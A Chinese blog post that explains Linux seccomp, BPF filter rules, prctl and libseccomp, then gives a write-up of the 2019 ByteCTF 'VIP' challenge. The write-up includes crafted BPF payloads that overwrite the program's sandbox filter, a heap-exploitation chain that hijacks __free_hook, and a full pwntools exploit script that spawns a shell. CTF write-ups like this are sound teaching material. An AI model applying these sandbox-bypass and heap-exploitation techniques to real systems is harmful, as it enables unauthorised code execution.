seccomp沙箱机制 & 2019ByteCTF VIP

发表于 | 分类于 | | 阅读次数:
seccomp沙箱机制

0x00 seccomp沙箱机制

seccomp 是 Linux 内核提供的一种应用程序沙箱机制，seccomp 通过只允许应用程序调用 exit(), sigreturn(), read() 和 write() 四种系统调用来达到沙箱的效果。如果应用程序调用了除了这四种之外的系统调用， kernel 会向进程发送 SIGKILL 信号。

seccomp 很难在实际中得到推广，因为限制实在是太多了，Linus 本人也对它的应用持怀疑的态度，直到出现了 seccomp-bpf。seccomp-bpf 是 seccomp 的一个扩展，它可以通过配置来允许应用程序调用其他的系统调用。chrome 中第一个应用 seccomp-bpf 的场景是把 Flash 放到了沙箱里运行（实在是不放心），后续也把 render 的过程放到了沙箱里。

0x01 BPF (Berkeley Packets Filter)

BPF是类Unix系统上针对数据链路层的原生接口，提供数据链路层封包的收发，BPF也支持封包过滤，其过滤规则在linux中应用到了很多地方。xt_bpf对netfilter，cls_bpf在内核的qdisk层，SECCOMP-BPF，以及一系列其他地方例如：team driver、PTP code等BPF都被用到。

BPF定义了一个伪机器。这个伪机器可以执行代码，包含一个32位的累加器A，一个32位的索引寄存器X，一个16 x 32位的内存和一个隐含的程序计数器，具有有赋值、算术、跳转指令。

一条指令由一个定义好的结构体sock_filter表示，形式如下：

1
2
3
4
5
6
struct sock_filter {            /* Filter block */
    __u16 code;                 /* Actual filter code */
    __u8  jt;                   /* Jump true */
    __u8  jf;                   /* Jump false */
    __u32 k;                    /* Generic multiuse field */
};

与真正的机器代码很相似，若干个这样的结构体组成的结构体数组，就成为BPF的指令序列。

为了方便编写规则，BPF的设计者定义了两个指令宏来完成规则的编写（/usr/include/linux/bpf_common.h）

1
2
3
4
5
6
#ifndef BPF_STMT
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif

而BPF的过滤规则就是由这两个指令宏组成的指令序列完成的，这个序列是一个结构体数组，下面就是一个过滤execve系统调用的过滤规则：

1
2
3
4
5
6
struct sock_filter filter[] = {
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),           //将帧的偏移0处，取4个字节数据，也就是系统调用号的值载入累加器
    BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),           //当A == 59时，顺序执行下一条规则，否则跳过下一条规则，这里的59就是x64的execve系统调用号
    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),   //返回KILL
    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),  //返回ALLOW
};

这两个指令宏展开后，其实也都是赋了值的sock_filter结构体。他只是封装了一下，方便使用。

BPF_STMT和BPF_JUMP的操作指令由以下组成：（操作数为第二个参数）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#define BPF_CLASS(code) ((code) & 0x07)			//首先指定操作的类别
#define		BPF_LD		0x00										//将操作数装入A或者X
#define		BPF_LDX		0x01					
#define		BPF_ST		0x02										//拷贝A或X的值到内存
#define		BPF_STX		0x03
#define		BPF_ALU		0x04										//用X或常数作为操作数在累加器上执行算数或逻辑运算
#define		BPF_JMP		0x05										//跳转指令
#define		BPF_RET		0x06										//终止过滤器并表明报文的哪一部分保留下来，如果返回0，报文全部被丢弃
#define		BPF_MISC     0x07
	
/* ld/ldx fields */
#define BPF_SIZE(code)  ((code) & 0x18)         //在ld时指定操作数的大小
#define		BPF_W		0x00				//双字
#define		BPF_H		0x08				//单字
#define		BPF_B		0x10				//单字节
#define BPF_MODE(code)  ((code) & 0xe0)         //操作数类型
#define		BPF_IMM		0x00
#define		BPF_ABS		0x20						//绝对偏移					
#define		BPF_IND		0x40						//相对偏移
#define		BPF_MEM		0x60
#define		BPF_LEN		0x80
#define		BPF_MSH		0xa0
/* alu/jmp fields */
#define BPF_OP(code)    ((code) & 0xf0)         //当操作码类型为ALU时，指定具体运算符
#define		BPF_ADD		0x00                    //到底执行什么操作可以看filter.h里面的定义
#define		BPF_SUB		0x10
#define		BPF_MUL		0x20
#define		BPF_DIV		0x30
#define		BPF_OR		0x40
#define		BPF_AND		0x50
#define		BPF_LSH		0x60
#define		BPF_RSH		0x70
#define		BPF_NEG		0x80
#define		BPF_MOD		0x90
#define		BPF_XOR		0xa0
#define		BPF_JA		0x00                    //当操作码类型是JMP时指定跳转类型
#define		BPF_JEQ		0x10
#define		BPF_JGT		0x20
#define		BPF_JGE		0x30
#define		BPF_JSET        0x40
#define BPF_SRC(code)   ((code) & 0x08)         
#define		BPF_K		0x00                    //常数
#define		BPF_X		0x08

0x02 prctl函数调用

prctl就是在c程序中可以使用BPF过滤规则操作进程的一个函数调用。函数原型如下

1
2
3
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3,
          unsigned long arg4, unsigned long arg5);

option有很多，这里我只关注PR_SET_NO_NEW_PRIVS(38)和PR_SET_SECCOMP

PR_SET_NO_NEW_PRIVS（38） (since Linux 3.5)

1
2
3
4
5
6
7
8
9
PR_SET_NO_NEW_PRIVS（38） (since Linux 3.5)
              Set the calling thread's no_new_privs bit to the value in  arg2.
              With  no_new_privs  set  to  1,  execve(2) promises not to grant
              privileges to do anything that could not have been done  without
              the  execve(2)  call (for example, rendering the set-user-ID and
              set-group-ID mode bits, and file  capabilities  non-functional).
              Once  set, this bit cannot be unset.  The setting of this bit is
              inherited by children created by fork(2) and clone(2), and  pre‐
              served across execve(2).

PR_SET_NO_NEW_PRIVS的第二个参数若设置为1，那么程序线程将不能通过执行execve系统调用来获得提权，该选项只对execve这个系统调用有效。意思就是若你使用syscall(59,’/bin/sh’,null,null)或system(“/bin/sh”)（内部还是系统调用execve）获得的线程shell，用户组依然是之前的用户组，且不能获得更高权限。

1
2
3
4
5
test
$ whoami
po1lux
$ sudo su
sudo: effective uid is not 0, is /usr/bin/sudo on a file system with the 'nosuid' option set or an NFS file system without root privileges?

PR_SET_SECCOMP（22）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
PR_SET_SECCOMP (since Linux 2.6.23)
   Set the secure computing (seccomp) mode for the calling  thread,
   to limit the available system calls.  The more recent seccomp(2)
   system  call  provides  a  superset  of  the  functionality   of
   PR_SET_SECCOMP.

   The  seccomp  mode is selected via arg2.  (The seccomp constants
   are defined in <linux/seccomp.h>.)

   With arg2 set to SECCOMP_MODE_STRICT, the only system calls that
   the  thread is permitted to make are read(2), write(2), _exit(2)
   (but not exit_group(2)), and sigreturn(2).  Other  system  calls
   result  in  the  delivery  of  a  SIGKILL signal.  Strict secure
   computing mode is useful for number-crunching applications  that
   may  need  to  execute  untrusted byte code, perhaps obtained by
   reading from a pipe or socket.  This operation is available only
   if the kernel is configured with CONFIG_SECCOMP enabled.

   With  arg2  set  to  SECCOMP_MODE_FILTER  (since Linux 3.5), the
   system calls allowed are defined by  a  pointer  to  a  Berkeley
   Packet  Filter  passed  in  arg3.  This argument is a pointer to
   struct sock_fprog; it can be designed to filter arbitrary system
   calls and system call arguments.  This mode is available only if
   the kernel is configured with CONFIG_SECCOMP_FILTER enabled.

   If SECCOMP_MODE_FILTER filters permit fork(2), then the  seccomp
   mode  is  inherited by children created by fork(2); if execve(2)
   is  permitted,  then  the  seccomp  mode  is  preserved   across
   execve(2).  If the filters permit prctl() calls, then additional
   filters can be added; they are run in order until the first non-
   allow result is seen.

   For   further   information,   see   the   kernel   source  file
   Documentation/prctl/seccomp_filter.txt.

如果参数2为SECCOMP_MODE_STRICT(1),则只允许调用read,write,_exit(not exit_group),sigreturn这几个syscall.如果参数2为SECCOMP_MODE_FILTER(2),则为过滤模式,其中对syscall的限制通过参数3的结构体，来自定义过滤规则。

1
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);

&prog形式如下：

1
2
3
4
struct sock_fprog {
	unsigned short		len;	/* 指令个数 */
	struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
};

这个filter就是指向包含struct sock_filter的结构体数组指针，比如上述的struct sock_filter filter[]。

通过使用ptrcl禁用execve系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>
int main()
{
struct sock_filter filter[] = {                 
	BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {                                    
    len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),//规则条数
    filter = filter,                                         //结构体数组指针
};
	prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);             //必要的，设置NO_NEW_PRIVS
	prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
	write(0,"test\n",5);
    	system("/bin/sh");
    	return 0;
}

0x03 seccomp库函数(和2019ByteCTF VIP复现无关)

这个库可以提供一些函数实现prctl类似的效果，库中封装了一些函数，可以不用了解BPF规则而实现过滤。

但是在c程序中使用它，需要装一些库文件

1
sudo apt install libseccomp-dev libseccomp2 seccomp

通过使用该库的函数实现禁用execve系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//gcc seccomptest.c -o seccomptest -lseccomp
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

int main(void){
	scmp_filter_ctx ctx;
	ctx = seccomp_init(SCMP_ACT_ALLOW);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
	seccomp_load(ctx);

	char * str = "/bin/sh";
	write(1,"i will give you a shell\n",24);
	syscall(59,str,NULL,NULL);//execve
	return 0;
}

scmp_filter_ctx是过滤器的结构体
seccomp_init对结构体进行初始化，若参数为SCMP_ACT_ALLOW，则过滤为黑名单模式；若为SCMP_ACT_KILL，则为白名单模式，即没有匹配到规则的系统调用都会杀死进程，默认不允许所有的syscall。

1
seccomp_init(uint32_t def_action);

def_action为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
 * seccomp actions
 */

/**
 * Kill the process
 */
#define SCMP_ACT_KILL		0x00000000U
/**
 * Throw a SIGSYS signal
 */
#define SCMP_ACT_TRAP		0x00030000U
/**
 * Return the specified error code
 */
#define SCMP_ACT_ERRNO(x)	(0x00050000U | ((x) & 0x0000ffffU))
/**
 * Notify a tracing process with the specified value
 */
#define SCMP_ACT_TRACE(x)	(0x7ff00000U | ((x) & 0x0000ffffU))
/**
 * Allow the syscall to be executed after the action has been logged
 */
#define SCMP_ACT_LOG		0x7ffc0000U
/**
 * Allow the syscall to be executed
 */
#define SCMP_ACT_ALLOW		0x7fff0000U

seccomp_rule_add是添加一条规则

1
2
int seccomp_rule_add(scmp_filter_ctx ctx,
		     uint32_t action, int syscall, unsigned int arg_cnt, ...);

arg_cnt表明是否需要对对应系统调用的参数做出限制以及指示做出限制的个数，如果仅仅需要允许或者禁止所有某个系统调用，arg_cnt直接传入0即可，seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0)即禁用execve，不管其参数如何。

如果考虑到更高的自定义，需要先去了解一下具体系统调用的参数情况，然后再利用SCMP_AX及SCMP_CMP_XX类的宏定义做一些过滤。以read为例，read函数原型

1
ssize_t read(int fd, void *buf, size_t count);

限制从标准输入stdin读入的字节数不能为100。

1
2
3
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(read), 2, 
				SCMP_A0(SCMP_CMP_EQ, STDIN_FILENO), 
                SCMP_A2(SCMP_CMP_EQ, 100))

seccomp_load是应用过滤，seccomp_reset是解除过滤。

0x04 2019ByteCTF VIP

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
1
2
3
4
5
6
1.alloc
2.show
3.free
4.edit
5.exit
6.become vip

4.edit存在堆溢出，可以覆盖任意大小数据，但是内容不可控

1
2
3
4
5
6
if ( dword_4040E0 )
  return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
  exit(0);
return read(fd, a1, a2);

6.become vip函数存在栈溢出，buf大小为0x20个字节

1
2
char buf; // [rsp+10h] [rbp-80h]
char v4; // [rsp+30h] [rbp-60h]

但是可以输入0x50字节数据

1
read(0, &buf, 0x50uLL);

该函数中存在seccomp的系统调用过滤

1
2
3
4
5
if ( prctl(22, 2LL, &v1) < 0 )
{
  perror("prctl(PR_SET_SECCOMP)");
  exit(2);
}

v1就是上面说的sock_fprog结构体，那么v2就是指向BPF结构体filter的指针

1
2
3
4
__int16 v1; // [rsp+0h] [rbp-90h]
char *v2; // [rsp+8h] [rbp-88h]
char buf; // [rsp+10h] [rbp-80h]
char v4; // [rsp+30h] [rbp-60h]

查看下面的赋值

1
2
v1 = 11;
v2 = &v4;

规则条数为11个，filter指针指向v4，buf可以溢出到v4

思路

覆盖BPF过滤规则，让open的返回值为0，那么在edit功能中，read(fd, a1, a2)，就变成了read(0, a1, a2)，从而堆溢出内容可控，然后就常规的getshell思路。

问题与解决

1
2
3
4
5
6
7
8
9
$rax   : 0x101             
......
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde90│+0x0000: 0x0000000000000000	 ← $rsp
......
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7af3c87 <open64+71>      mov    edi, 0xffffff9c
 → 0x7ffff7af3c8c <open64+76>      syscall 
......
1
2
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h|grep 257
#define __NR_openat 257

open函数使用的是openat系统调用

使用seccomp-tools生成规则，一条规则是8个字节，可以溢出48个字节，根据seccomp-tools使用说明，编写规则

1
2
3
4
5
6
7
8
9
#cat 1.asm
A = sys_number
A == 257? e0:next
A == 1? ok:next
return ALLOW
e0:
return ERRNO(0)
ok:
return ALLOW

规则如下：

1
2
3
4
5
6
7
8
9
 #seccomp-tools asm 1.asm -f raw |seccomp-tools disasm -
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x02 0x00 0x00000101  if (A == openat) goto 0004
 0002: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0005
 0003: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0004: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

生成16进制字符串

1
2
#seccomp-tools asm 1.asm
"\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x02\x00\x01\x01\x00\x00\x15\x00\x02\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F"

在后续的利用中，可以正常向堆中写入可控的数据，但是无法getshell，报错：

1
sh: error while loading shared libraries: /lib/x86_64-linux-gnu/tls/x86_64/x86_64/libc.so.6: cannot read file data: Error 9

检查system调用参数是对的，在huai的帮助下，怀疑可能是system函数调用了open函数，因为过滤规则影响了open的正常使用。写一个只有system(“/bin/sh”)的c程序，查看调用过程发现有调用openat的过程。

1
2
3
4
5
6
7
8
9
10
11
12
#strace ./test
execve("./system", ["./system"], 0x7fff84f88350 /* 52 vars */) = 0
brk(NULL)                               = 0x55bbaa268000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=74811, ...}) = 0
mmap(NULL, 74811, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f60d1b70000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
......

重新编写过滤规则，限制打开的文件，进行过滤，不影响system的正常使用。

1
2
#man openat
int openat(int dirfd, const char *pathname, int flags);

可以看到在openat的原型中，第二个参数是要打开的文件名字符串指针，所以要限制第二个参数，程序中0x40207e存放的是/dev/urandom的地址。规则如下

1
2
3
4
5
6
7
8
#cat 2.asm
A = sys_number
A != 257 ? ok : next
A = args[1]
A != 0x40207e ? ok:next 
return ERRNO(0)
ok:
return ALLOW

生成十六进制后覆盖规则，可以正常getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
p = process("./vip")
elf = ELF("./vip")
libc = ELF('./libc.so.6')
context.log_level = "debug"

def add(index):
    p.sendlineafter('choice: ', '1')
    p.sendlineafter('Index: ', str(index))
def edit(index, size, content):
    p.sendlineafter('choice: ', '4')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Content: ', content)
def delete(index):
    p.sendlineafter('choice: ', '3')
    p.sendlineafter('Index: ', str(index))
def show(index):
    p.sendlineafter('choice: ', '2')
    p.sendlineafter('Index: ', str(index))
def q():
    gdb.attach(p)
    raw_input("pause")

def pwn():
    filter0 = "\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x03\x01\x01\x00\x00 \x00\x00\x00\x18\x00\x00\x00\x15\x00\x00\x01~ @\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F"
    p.sendlineafter('choice: ', '6')
    p.sendafter('name: ', 'a' * 32 + filter0)

    add(0)
    add(1)
    add(2)
    add(3)
    delete(3)
    delete(2)
    delete(1)
    edit(0,0x50+0x20,"\x00"*0x58+p64(0x61)+p64(0x404100))
    add(4)
    add(5)
    edit(5,0x8,p64(elf.got['puts']))
    show(0)
    libc.address = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['puts']
    log.info("libc_base:"+hex(libc.address))
    edit(5,0x10,p64(libc.sym['__free_hook'])+p64(libc.search('/bin/sh').next()))
    edit(0,0x8,p64(libc.sym['system']))
    delete(1)
    p.interactive()
pwn()

0x05 REFERENCE

  1. https://www.cnblogs.com/hymenz/p/7798543.html
  2. http://blog.jingwei.site/2018/10/31/seccomp%E7%9A%84%E4%BD%BF%E7%94%A8/
  3. https://darkwing.moe/2019/08/08/seccomp/
  4. https://veritas501.space/2018/05/05/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
  5. https://tech.liuchao.me/2016/05/online-judge-sandbox-design-2/
  6. https://www.cnblogs.com/hymenz/p/7798543.html
  7. http://www.360doc.com/content/06/1026/17/13362_241408.shtml
  8. https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/
  9. https://www.zybuluo.com/H4l0/note/1546081
  10. https://xz.aliyun.com/t/6305#toc-10